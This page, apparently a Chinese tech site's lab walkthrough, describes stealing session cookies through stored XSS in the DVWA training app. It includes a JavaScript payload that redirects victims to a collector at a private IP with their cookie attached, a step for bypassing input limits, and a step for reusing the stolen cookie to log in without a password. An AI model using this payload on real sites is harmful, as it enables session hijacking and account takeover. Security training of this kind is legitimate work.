Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Experiment on stealing cookie from Storage xss

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

Statement: For communication only, illegal and criminal activities are strictly prohibited, otherwise the consequences will be borne by yourself.

1. Environment ready to receive cookies:

ip = 172.24.10.105

Code: Save as getCookie.php

2. Insert js code in the experimental environment:

_document.location='http://172.24.10.105/getCookie.php? cookie='+[xss_clean];

Remove restrictions by reviewing elements and then insert js code

Then re-visit this page and find that there was a jump

and seeing cookies on the platform that received them.

Change browser settings Cookies

Direct access:

http://127.0.0.1/DVWA/

No password required Login

Welcome to Weixin Official Accounts

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report